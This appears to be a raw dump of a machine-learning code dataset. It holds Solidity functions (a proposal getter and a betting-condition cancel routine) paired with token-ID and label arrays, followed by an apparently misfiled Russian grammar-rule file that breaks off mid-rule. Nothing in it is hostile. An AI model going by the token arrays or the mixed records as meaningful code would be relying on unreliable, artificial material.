function getProposal(uint256 proposalId) external view proposalExists(proposalId) returns ( string memory details, ProposalType proposalType, uint256 duration, uint256 end, bool[3] memory flags, address txDestination, uint256 txValue, bytes memory txData, bool txExecuted, bool txSuccess ) { Proposal storage existedProposal = proposals[proposalId]; details = existedProposal.details; proposalType = existedProposal.proposalType; duration = existedProposal.duration; end = existedProposal.end; flags = existedProposal.flags; txDestination = existedProposal.transaction.destination; txValue = existedProposal.transaction.value; txData = existedProposal.transaction.data; txExecuted = existedProposal.transaction.executed; txSuccess = existedProposal.transaction.success; }
14,021,385
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 968, 14708, 635, 3124, 261, 1615, 13, 29076, 30, 225, 300, 14708, 1410, 1704, 632, 891, 14708, 548, 19945, 3124, 632, 2463, 533, 19945, 3189, 632, 2463, 19945, 559, 19945, 618, 632, 2463, 2254, 5034, 19945, 3734, 316, 4681, 632, 2463, 2254, 5034, 19945, 679, 1509, 632, 2463, 1426, 63, 23, 65, 19945, 1267, 2943, 632, 2463, 1758, 5947, 1018, 1758, 632, 2463, 2254, 5034, 512, 1136, 460, 358, 1366, 598, 2492, 632, 2463, 1731, 5947, 501, 632, 2463, 1426, 5947, 4588, 1267, 632, 2463, 1426, 5947, 4588, 563, 1267, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3570, 8016, 12, 11890, 5034, 14708, 548, 13, 7010, 3639, 3903, 7010, 3639, 1476, 7010, 3639, 14708, 4002, 12, 685, 8016, 548, 13, 203, 3639, 1135, 261, 203, 5411, 533, 3778, 3189, 16, 203, 5411, 19945, 559, 14708, 559, 16, 203, 5411, 2254, 5034, 3734, 16, 203, 5411, 2254, 5034, 679, 16, 203, 5411, 1426, 63, 23, 65, 3778, 2943, 16, 203, 5411, 1758, 2229, 5683, 16, 203, 5411, 2254, 5034, 2229, 620, 16, 203, 5411, 1731, 3778, 2229, 751, 16, 203, 5411, 1426, 2229, 23839, 16, 203, 5411, 1426, 2229, 4510, 203, 3639, 262, 7010, 565, 288, 203, 3639, 19945, 2502, 20419, 14592, 273, 450, 22536, 63, 685, 8016, 548, 15533, 203, 3639, 3189, 273, 20419, 14592, 18, 6395, 31, 203, 3639, 14708, 559, 273, 20419, 14592, 18, 685, 8016, 559, 31, 203, 3639, 3734, 273, 20419, 14592, 18, 8760, 31, 203, 3639, 679, 273, 20419, 14592, 18, 409, 31, 203, 3639, 2943, 273, 20419, 14592, 18, 7133, 31, 203, 3639, 2229, 5683, 273, 20419, 14592, 18, 7958, 18, 10590, 31, 203, 3639, 2229, 620, 273, 20419, 14592, 18, 7958, 18, 1132, 31, 203, 3639, 2229, 751, 273, 20419, 14592, 18, 7958, 18, 892, 31, 203, 3639, 2229, 23839, 273, 20419, 14592, 18, 7958, 18, 4177, 4817, 31, 203, 3639, 2229, 4510, 273, 20419, 14592, 18, 7958, 18, 4768, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0xd84Ea27b0BCf03FA5Ea558A896E0dc7Caa632a39/sources/contracts/Core.sol
* @notice Indicate the condition `conditionId` with oracle ID `oracleConditionId` as canceled. @dev Set oracleCondId to zero if the function is not called by an oracle. @param conditionId the current match or game ID @param oracleCondId the current match or game ID in oracle's internal system/
function cancel(uint256 conditionId, uint256 oracleCondId) internal { Condition storage condition = conditions[conditionId]; if (condition.timestamp == 0) revert ConditionNotExists(); if ( condition.state == ConditionState.RESOLVED || condition.state == ConditionState.CANCELED ) revert ConditionAlreadyResolved(); condition.state = ConditionState.CANCELED; if (activeConditions > 0) activeConditions--; LP.addReserve( condition.reinforcement, condition.reinforcement, condition.leaf ); emit ConditionResolved( oracleCondId, conditionId, 0, uint8(ConditionState.CANCELED), 0 ); }
14,270,782
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 225, 9223, 2659, 326, 2269, 1375, 4175, 548, 68, 598, 20865, 1599, 1375, 280, 16066, 3418, 548, 68, 487, 17271, 18, 632, 5206, 377, 1000, 20865, 12441, 548, 358,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63, 4175, 548, 15533, 203, 3639, 309, 261, 4175, 18, 5508, 422, 374, 13, 15226, 7949, 29210, 5621, 203, 3639, 309, 261, 203, 5411, 2269, 18, 2019, 422, 7949, 1119, 18, 17978, 12135, 747, 203, 5411, 2269, 18, 2019, 422, 7949, 1119, 18, 39, 4722, 6687, 203, 3639, 262, 15226, 7949, 9430, 12793, 5621, 203, 203, 3639, 2269, 18, 2019, 273, 7949, 1119, 18, 39, 4722, 6687, 31, 203, 3639, 309, 261, 3535, 8545, 405, 374, 13, 2695, 8545, 413, 31, 203, 203, 3639, 511, 52, 18, 1289, 607, 6527, 12, 203, 5411, 2269, 18, 266, 267, 5734, 475, 16, 203, 5411, 2269, 18, 266, 267, 5734, 475, 16, 203, 5411, 2269, 18, 12070, 203, 3639, 11272, 203, 3639, 3626, 7949, 12793, 12, 203, 5411, 20865, 12441, 548, 16, 203, 5411, 2269, 548, 16, 203, 5411, 374, 16, 203, 5411, 2254, 28, 12, 3418, 1119, 18, 39, 4722, 6687, 3631, 203, 5411, 374, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// ----------------------------------------------------------------------------- // File RUS_SA_SUBJECT_VERB.SOL // // (c) Koziev Elijah // // Content: // Синтаксический анализатор: связь подлежащих со сказуемыми // // Подробнее о правилах: http://www.solarix.ru/for_developers/docs/rules.shtml // ----------------------------------------------------------------------------- // // CD->05.10.1995 // LC->13.08.2009 // -------------- #include "aa_rules.inc" automat aa { #pragma floating off // ********************************* // **** ПРОШЕДШЕЕ/БУДУЩЕЕ ВРЕМЯ **** // ********************************* operator SubjectVerb_10 : LINK_SUBJECT_VERB { // КУРТКА БЫЛА КРАСИВА // КОШКА БЫЛА ХИТРАЯ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД ЧИСЛО } then context { 0.<ATTRIBUTE>2.1 } } operator SubjectVerb_11 : LINK_SUBJECT_VERB { // ОДНА КУРТКА БЫЛА КРАСИВА // ОДНА КОШКА БЫЛА ХИТРАЯ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД } then context { 0.<ATTRIBUTE>2.1 } } operator SubjectVerb_20 : LINK_SUBJECT_VERB { // ОНА БЫЛА КРАСИВА // ОНА БЫЛА ХИТРАЯ if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД ЧИСЛО } then context { 0.<ATTRIBUTE>2.1 } } operator SubjectVerb_50 : LINK_SUBJECT_VERB { // БЫЛА КУРТКА КРАСИВА // БЫЛА КОШКА ХИТРАЯ if context { ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 } } operator SubjectVerb_51 : LINK_SUBJECT_VERB { // БЫЛА ОДНА КУРТКА КРАСИВА // БЫЛА ОДНА КОШКА ХИТРАЯ if context { ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 } } operator SubjectVerb_60 : LINK_SUBJECT_VERB { // БЫЛА ОНА КРАСИВА // БЫЛА ОНА ХИТРАЯ if context { ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ } МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 } } operator SubjectVerb_70 : LINK_SUBJECT_VERB { // КОШКА БЫЛА БЕЛОЙ // КОШКА СТАЛА БЕЛОЙ // КОШКА ОКАЗАЛАСЬ БЕЛОЙ // СОБАКА БЫВАЛА КУСАЧЕЙ if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 } } operator SubjectVerb_71 : LINK_SUBJECT_VERB { // ОДНА КОШКА БЫЛА БЕЛОЙ // ОДНА КОШКА СТАЛА БЕЛОЙ // ОДНА КОШКА ОКАЗАЛАСЬ БЕЛОЙ // ОДНА СОБАКА БЫВАЛА КУСАЧЕЙ if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 } } operator SubjectVerb_80 : LINK_SUBJECT_VERB { // ОНА БЫЛА БЕЛОЙ // ОНА СТАЛА БЕЛОЙ // ОНА ОКАЗАЛАСЬ БЕЛОЙ if context { МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ} ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 } } operator SubjectVerb_110 : LINK_SUBJECT_VERB { // БЫЛА КОШКА БЕЛОЙ // СТАЛА КОШКА БЕЛОЙ // ОКАЗАЛАСЬ КОШКА БЕЛОЙ if context { ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 } } operator SubjectVerb_111 : LINK_SUBJECT_VERB { // БЫЛА ОДНА КОШКА БЕЛОЙ // СТАЛА ОДНА КОШКА БЕЛОЙ // ОКАЗАЛАСЬ КОШКА БЕЛОЙ if context { ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 } } operator SubjectVerb_120 : LINK_SUBJECT_VERB { // БЫЛА ОНА БЕЛОЙ // СТАЛА ОНА БЕЛОЙ // ОКАЗАЛАСЬ ОНА БЕЛОЙ if context { ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ } МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР } } correlate { РОД ЧИСЛО } then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 } } // ************************* // **** НАСТОЯЩЕЕ ВРЕМЯ **** // ************************* operator SubjectVerb_200 : LINK_SUBJECT_VERB { // КОШКА СИЛЬНЕЕ СОБАКИ if context { СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН } } then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ } } operator SubjectVerb_201 : LINK_SUBJECT_VERB { // ОДНА КОШКА СИЛЬНЕЕ СОБАКИ if context { ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН } } then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ } } operator SubjectVerb_210 : LINK_SUBJECT_VERB { // ОНА СИЛЬНЕЕ СОБАКИ if context { МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ } ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН } } then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ } } operator SubjectVerb_310 : LINK_SUBJECT_VERB { // КОШКА - БЕЛАЯ. if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_311 : LINK_SUBJECT_VERB { // ОДНА КОШКА - БЕЛАЯ. if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_320 : LINK_SUBJECT_VERB { // ОНА - БЕЛАЯ. if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_322 : LINK_SUBJECT_VERB { // КТО-ТО - БЕЛЫЙ. if context { МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_330 : LINK_SUBJECT_VERB { // КОШКА - БЕЛАЯ, ... if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_331 : LINK_SUBJECT_VERB { // ОДНА КОШКА - БЕЛАЯ, ... if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_340 : LINK_SUBJECT_VERB { // ОНА - БЕЛАЯ, ... if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=2 0:ЧИСЛО=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_342 : LINK_SUBJECT_VERB { // КТО-ТО - БЕЛЫЙ, ... if context { МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ } _Дефис ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=2 } then context { 0.<ATTRIBUTE>2 3 } } operator SubjectVerb_350 : LINK_SUBJECT_VERB { // КОШКА БЕЛАЯ. if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_351 : LINK_SUBJECT_VERB { // ОДНА КОШКА БЕЛАЯ. if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_360 : LINK_SUBJECT_VERB { // ОНА БЕЛАЯ. if context { МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_362 : LINK_SUBJECT_VERB { // КТО-ТО БЕЛЫЙ. if context { МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _КОН } correlate { 0:РОД=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_370 : LINK_SUBJECT_VERB { // КОШКА БЕЛАЯ, ... if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_371 : LINK_SUBJECT_VERB { // ОДНА КОШКА БЕЛАЯ, ... if context { ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ} ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ } _Запятая } correlate { 0:РОД=1 0:ЧИСЛО=1 } then context { 0.<ATTRIBUTE>1 2 } } operator SubjectVerb_372 : LINK_SUBJECT_VERB { // КОШКА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ ... if context { СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ} 